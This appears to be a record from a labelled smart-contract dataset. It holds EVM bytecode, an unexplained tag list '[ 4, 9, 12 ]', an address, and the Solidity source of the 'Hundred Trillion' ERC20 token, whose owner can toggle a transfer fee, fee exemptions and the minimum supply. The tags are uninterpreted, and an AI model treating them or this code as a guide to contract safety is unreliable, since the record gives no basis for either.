c57506107ec6112d4565b806107f8575060065481115b6108335760405162461bcd60e51b815260040180806020018281038252602e815260200180611b2c602e913960400191505060405180910390fd5b60075460ff16158015610853576007805460ff1916600117905560068290555b61085c846112da565b610865836112f1565b61086e85611304565b801561087f576007805460ff191690555b5050505050565b60055460ff1690565b6040805162461bcd60e51b815260206004820152601760248201527f414c4c4f57414e43455f4e4f545f535550504f525445440000000000000000006044820152905160009181900360640190fd5b6001600160a01b038083166000908152603a60209081526040808320938516835292905220545b92915050565b6000806109178361131a565b6001600160a01b0384166000908152603d60205260409020549091508161094357600092505050610980565b6001600160a01b0384166000908152603c602052604081205461096e90839064ffffffffff16611335565b905061097a8382611349565b93505050505b919050565b7f0000000000000000000000007d2768de32b0b80b7a3454c06bdac94a69ddc7a981565b6000806000806000603b5490506109be611407565b6109c782611287565b603e54919790965091945064ffffffffff1692509050565b6001600160a01b03166000908152603c602052604090205464ffffffffff1690565b603b5490565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561071f5780601f106106f45761010080835404028352916020019161071f565b7f0000000000000000000000007d2768de32b0b80b7a3454c06bdac94a69ddc7a96001600160a01b0316610a9a61140d565b6001600160a01b03161460405180604001604052806002815260200161323960f01b81525090610b485760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b0d578181015183820152602001610af5565b50505050905090810190601f168015610b3a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600080610b5584611411565b92509250506000610b64610771565b6001600160a01b0386166000908152603d6020526040812054919250908190868411610b99576000603b819055600255610c1b565b610ba3848861146a565b600281905591506000610bc1610bb8866114ac565b603b5490611349565b90506000610bd8610bd18a6114ac565b8490611349565b9050818110610bf45760006002819055603b8190559450610c18565b610c10610c00856114ac565b610c0a848461146a565b9061152a565b603b81905594505b50505b85871415610c59576001600160a01b0388166000908152603d60209081526040808320839055603c9091529020805464ffffffffff19169055610c87565b6001600160a01b0388166000908152603c60205260409020805464ffffffffff19164264ffffffffff161790555b603e805464ffffffffff19164264ffffffffff1617905586851115610d27576000610cb2868961146a565b9050610cbf898287611631565b6040805182815260208101899052808201889052606081018490526080810186905260a0810185905290516001600160a01b038b169182917fc16f4e4ca34d790de4c656c72fd015c667d688f20be64eea360618545c4c530f9181900360c00190a350610d9c565b6000610d33888761146a565b9050610d40898287611736565b6040805182815260208101899052808201889052606081018690526080810185905290516001600160a01b038b16917f44bd20a79e993bdcc7cbedf54a3b4d19fb78490124b6b90d04fe3242eea579e8919081900360a00190a2505b6040805188815290516000916001600160a01b038b16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050505050505050565b7f00000000000000000000000003ab458634910aad20ef5f1c8ee96f1d6ac5491981565b60007f0000000000000000000000007d2768de32b0b80b7a3454c06bdac94a69ddc7a96001600160a01b0316610e3f61140d565b6001600160a01b03161460405180604001604052806002815260200161323960f01b81525090610eb05760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b0d578181015183820152602001610af5565b50610eb9611a48565b846001600160a01b0316866001600160a01b031614610edd57610edd858786611778565b600080610ee987611411565b9250925050610ef6610771565b808452603b546080850152610f0b9087611855565b60028190556020840152610f1e866114ac565b6040840152610f7c610f38610f338489611855565b6114ac565b6040850151610c0a90610f4b9089611349565b610f76610f57876114ac565b6001600160a01b038d166000908152603d602052604090205490611349565b90611855565b60608401819052604080518082019091526002815261373960f01b6020820152906fffffffffffffffffffffffffffffffff1015610ffb5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b0d578181015183820152602001610af5565b5060608301516001600160a01b0388166000908152603d6020908152604080832093909355603c8152919020805464ffffffffff421664ffffffffff199182168117909255603e805490911690911790558301516110919061105c906114ac565b610c0a61107686604001518961134990919063ffffffff16565b610f7661108688600001516114ac565b608089015190611349565b603b81905560808401526110b0876110a98884611855565b8551611631565b6040805187815290516001600160a01b038916916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3866001600160a01b0316886001600160a01b03167fc16f4e4ca34d790de4c656c72fd015c667d688f20be64eea360618545c4c530f888585886060015189608001518a6020015160405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390a350159695505050505050565b600181565b80603a600061118e61140d565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120919091556111c661140d565b6001600160a01b03167fda919360433220e13b51e8c211e490d148e61a3bd53de8c097194e458b97f3e17f00000000000000000000000003ab458634910aad20ef5f1c8ee96f1d6ac549198460405180836001600160a01b031681526020018281526020019250505060405180910390a35050565b60006109058261131a565b603e5464ffffffffff1690565b6001600160a01b03166000908152603d602052604090205490565b603b54600090819061127f81611287565b925090509091565b600080611292611407565b9050806112a3576000915050610980565b603e546000906112bb90859064ffffffffff16611335565b90506112c78282611349565b949350505050565b600190565b303b1590565b80516112ed906003906020840190611a77565b5050565b80516112ed906004906020840190611a77565b6005805460ff191660ff92909216919091179055565b6001600160a01b031660009081526020819052604090205490565b60006113428383426118af565b9392505050565b6000821580611356575081155b1561136357506000610905565b816b019d971e4fe8401e74000000198161137957fe5b0483111560405180604001604052806002815260200161068760f31b815250906113e45760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b0d578181015183820152602001610af5565b50506b033b2e3c9fd0803ce800000091026b019d971e4fe8401e74000000010490565b60025490565b3390565b6000806000806114208561131a565b90508061143857600080600093509350935050611463565b600061144d826114478861090b565b9061146a565b90508161145a8183611855565b90955093509150505b9193909250565b600061134283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611985565b6000633b9aca0082810290839082041460405180604001604052806002815260200161068760f31b815250906115235760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b0d578181015183820152602001610af5565b5092915050565b604080518082019091526002815261035360f41b6020820152600090826115925760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b0d578181015183820152602001610af5565b5060408051808201909152600280825261068760f31b60208301528304906b033b2e3c9fd0803ce800000082190485111561160e5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b0d578181015183820152602001610af5565b5082816b033b2e3c9fd0803ce80000008602018161162857fe5b04949350505050565b6001600160a01b0383166000908152602081905260409020546116548184611855565b6001600160a01b038086166000908152602081905260409020919091557f00000000000000000000000000000000000000000000000000000000000000001615611730577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166331873e2e8584846040518463ffffffff1660e01b815260040180846001600160a01b031681526020018381526020018281526020019350505050600060405180830381600087803b15801561171757600080fd5b505af115801561172b573d6000803e3d6000fd5b505050505b50505050565b6001600160a01b038316600090815260208181526040918290205482518084019093526002835261038360f41b91830191909152906116549082908590611985565b6040805180820182526002815261353960f01b6020808301919091526001600160a01b038087166000908152603a835284812091871681529152918220546117c1918490611985565b6001600160a01b038086166000818152603a602090815260408083208986168085529083529281902086905580517f00000000000000000000000003ab458634910aad20ef5f1c8ee96f1d6ac5491990951685529084018590528051949550909391927fda919360433220e13b51e8c211e490d148e61a3bd53de8c097194e458b97f3e1929081900390910190a350505050565b600082820183811015611342576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000806118c38364ffffffffff861661146a565b9050806118da576118d26119df565b915050611342565b60001981016000600283116118f05760006118f5565b600283035b90506301e133808704600061190a8280611349565b905060006119188284611349565b9050600060026119328461192c8a8a6119ef565b906119ef565b8161193957fe5b049050600060066119508461192c89818d8d6119ef565b8161195757fe5b04905061197581610f76848161196d8a8e6119ef565b610f766119df565b9c9b505050505050505050505050565b600081848411156119d75760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b0d578181015183820152602001610af5565b505050900390565b6b033b2e3c9fd0803ce800000090565b6000826119fe57506000610905565b82820282848281611a0b57fe5b04146113425760405162461bcd60e51b8152600401808060200182810382526021815260200180611b0b6021913960400191505060405180910390fd5b6040518060a0016040528060008152602001600081526020016000815260200160008152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611ab857805160ff1916838001178555611ae5565b82800160010185558215611ae5579182015b82811115611ae5578251825591602001919060010190611aca565b50611af1929150611af5565b5090565b5b80821115611af15760008155600101611af656fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a6564a2646970667358221220ec11383a89e49294002e163519a841b0f6f4221627515a3cd00120c44fd1d49b64736f6c634300060c0033
[ 4, 9, 12 ]
0xf37e21adc3216ebf07542ad71031465cd27279a5
// SPDX-License-Identifier: MIT pragma solidity 0.8.4; contract Owned { address public owner; address public proposedOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() virtual { require(msg.sender == owner); _; } /** * @dev propeses a new owner * Can only be called by the current owner. */ function proposeOwner(address payable _newOwner) external onlyOwner { proposedOwner = _newOwner; } /** * @dev claims ownership of the contract * Can only be called by the new proposed owner. */ function claimOwnership() external { require(msg.sender == proposedOwner); emit OwnershipTransferred(owner, proposedOwner); owner = proposedOwner; } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity 0.8.4; contract HundredTrillion is ERC20, Owned { uint256 public minSupply; address public beneficiary; bool public feesEnabled; mapping(address => bool) public isExcludedFromFee; event MinSupplyUpdated(uint256 oldAmount, uint256 newAmount); event BeneficiaryUpdated(address oldBeneficiary, address newBeneficiary); event FeesEnabledUpdated(bool enabled); event ExcludedFromFeeUpdated(address account, bool excluded); constructor() ERC20("Hundred Trillion", "HT") { minSupply = 100000000 ether; uint256 totalSupply = 1000000000000 ether; feesEnabled = false; _mint(_msgSender(), totalSupply); isExcludedFromFee[msg.sender] = true; isExcludedFromFee[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true; beneficiary = msg.sender; } /** * @dev if fees are enabled, subtract 2.25% fee and send it to beneficiary * @dev after a certain threshold, try to swap collected fees automatically * @dev if automatic swap fails (or beneficiary does not implement swapTokens function) transfer should still succeed */ function _transfer( address sender, address recipient, uint256 amount ) internal override { require( recipient != address(this), "Cannot send tokens to token contract" ); if ( !feesEnabled || isExcludedFromFee[sender] || isExcludedFromFee[recipient] ) { ERC20._transfer(sender, recipient, amount); return; } // burn tokens if min supply not reached yet uint256 burnedFee = calculateFee(amount, 25); if (totalSupply() - burnedFee >= minSupply) { _burn(sender, burnedFee); } else { burnedFee = 0; } uint256 transferFee = calculateFee(amount, 200); ERC20._transfer(sender, beneficiary, transferFee); ERC20._transfer(sender, recipient, amount - transferFee - burnedFee); } function calculateFee(uint256 _amount, uint256 _fee) public pure returns (uint256) { return (_amount * _fee) / 10000; } /** * @notice allows to burn tokens from own balance * @dev only allows burning tokens until minimum supply is reached * @param value amount of tokens to burn */ function burn(uint256 value) public { _burn(_msgSender(), value); require(totalSupply() >= minSupply, "total supply exceeds min supply"); } /** * @notice sets minimum supply of the token * @dev only callable by owner * @param _newMinSupply new minimum supply */ function setMinSupply(uint256 _newMinSupply) public onlyOwner { emit MinSupplyUpdated(minSupply, _newMinSupply); minSupply = _newMinSupply; } /** * @notice sets recipient of transfer fee * @dev only callable by owner * @param _newBeneficiary new beneficiary */ function setBeneficiary(address _newBeneficiary) public onlyOwner { setExcludeFromFee(_newBeneficiary, true); emit BeneficiaryUpdated(beneficiary, _newBeneficiary); beneficiary = _newBeneficiary; } /** * @notice sets whether account collects fees on token transfer * @dev only callable by owner * @param _enabled bool whether fees are enabled */ function setFeesEnabled(bool _enabled) public onlyOwner { emit FeesEnabledUpdated(_enabled); feesEnabled = _enabled; } /** * @notice adds or removes an account that is exempt from fee collection * @dev only callable by owner * @param _account account to modify * @param _excluded new value */ function setExcludeFromFee(address _account, bool _excluded) public onlyOwner { isExcludedFromFee[_account] = _excluded; emit ExcludedFromFeeUpdated(_account, _excluded); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80635342acb4116100de578063a64e4f8a11610097578063af9549e011610071578063af9549e014610462578063b5ed298a1461047e578063d153b60c1461049a578063dd62ed3e146104b857610173565b8063a64e4f8a146103f8578063a901dd9214610416578063a9059cbb1461043257610173565b80635342acb41461030e57806370a082311461033e5780638da5cb5b1461036e5780638fe6cae31461038c57806395d89b41146103aa578063a457c2d7146103c857610173565b8063313ce56711610130578063313ce5671461024c57806334e731221461026a57806338af3eed1461029a57806339509351146102b857806342966c68146102e85780634e71e0c81461030457610173565b806306fdde0314610178578063095ea7b31461019657806318160ddd146101c65780631ac2874b146101e45780631c31f7101461020057806323b872dd1461021c575b600080fd5b6101806104e8565b60405161018d9190611cf3565b60405180910390f35b6101b060048036038101906101ab91906119ab565b61057a565b6040516101bd9190611cd8565b60405180910390f35b6101ce610598565b6040516101db9190611e75565b60405180910390f35b6101fe60048036038101906101f99190611a10565b6105a2565b005b61021a60048036038101906102159190611892565b610641565b005b61023660048036038101906102319190611920565b610745565b6040516102439190611cd8565b60405180910390f35b610254610846565b6040516102619190611eb9565b60405180910390f35b610284600480360381019061027f9190611a39565b61084f565b6040516102919190611e75565b60405180910390f35b6102a2610872565b6040516102af9190611c6b565b60405180910390f35b6102d260048036038101906102cd91906119ab565b610898565b6040516102df9190611cd8565b60405180910390f35b61030260048036038101906102fd9190611a10565b610944565b005b61030c6109a4565b005b61032860048036038101906103239190611892565b610b01565b6040516103359190611cd8565b60405180910390f35b61035860048036038101906103539190611892565b610b21565b6040516103659190611e75565b60405180910390f35b610376610b69565b6040516103839190611c6b565b60405180910390f35b610394610b8f565b6040516103a19190611e75565b60405180910390f35b6103b2610b95565b6040516103bf9190611cf3565b60405180910390f35b6103e260048036038101906103dd91906119ab565b610c27565b6040516103ef9190611cd8565b60405180910390f35b610400610d1b565b60405161040d9190611cd8565b60405180910390f35b610430600480360381019061042b91906119e7565b610d2e565b005b61044c600480360381019061044791906119ab565b610ddc565b6040516104599190611cd8565b60405180910390f35b61047c6004803603810190610477919061196f565b610dfa565b005b610498600480360381019061049391906118bb565b610ee8565b005b6104a2610f86565b6040516104af9190611c6b565b60405180910390f35b6104d260048036038101906104cd91906118e4565b610fac565b6040516104df9190611e75565b60405180910390f35b6060600380546104f79061209f565b80601f01602080910402602001604051908101604052809291908181526020018280546105239061209f565b80156105705780601f1061054557610100808354040283529160200191610570565b820191906000526020600020905b81548152906001019060200180831161055357829003601f168201915b5050505050905090565b600061058e610587611033565b848461103b565b6001905092915050565b6000600254905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105fc57600080fd5b7f8e485513f38ca4c23b0c8170161c4fd5c16f934ea7c068b376f646b0194d1b8e6007548260405161062f929190611e90565b60405180910390a18060078190555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461069b57600080fd5b6106a6816001610dfa565b7fe72eaf6addaa195f3c83095031dd08f3a96808dcf047babed1fe4e4f69d6c622600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826040516106f9929190611c86565b60405180910390a180600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610752848484611206565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061079d611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561081d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081490611db5565b60405180910390fd5b61083a85610829611033565b85846108359190611fd1565b61103b565b60019150509392505050565b60006012905090565b600061271082846108609190611f77565b61086a9190611f46565b905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061093a6108a5611033565b8484600160006108b3611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109359190611ef0565b61103b565b6001905092915050565b61095561094f611033565b826113e6565b600754610960610598565b10156109a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099890611e35565b60405180910390fd5b50565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109fe57600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b606060048054610ba49061209f565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd09061209f565b8015610c1d5780601f10610bf257610100808354040283529160200191610c1d565b820191906000526020600020905b815481529060010190602001808311610c0057829003601f168201915b5050505050905090565b60008060016000610c36611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610cf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cea90611e55565b60405180910390fd5b610d10610cfe611033565b858584610d0b9190611fd1565b61103b565b600191505092915050565b600860149054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d8857600080fd5b7fba500994dffbabeeb9e430f03a978d7b975359a20c5bde3a6ccb5a0c454680c881604051610db79190611cd8565b60405180910390a180600860146101000a81548160ff02191690831515021790555050565b6000610df0610de9611033565b8484611206565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5457600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f318c131114339c004fff0a22fcdbbc0566bb2a7cd3aa1660e636ec5a66784ff28282604051610edc929190611caf565b60405180910390a15050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f4257600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290611e15565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561111b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111290611d55565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d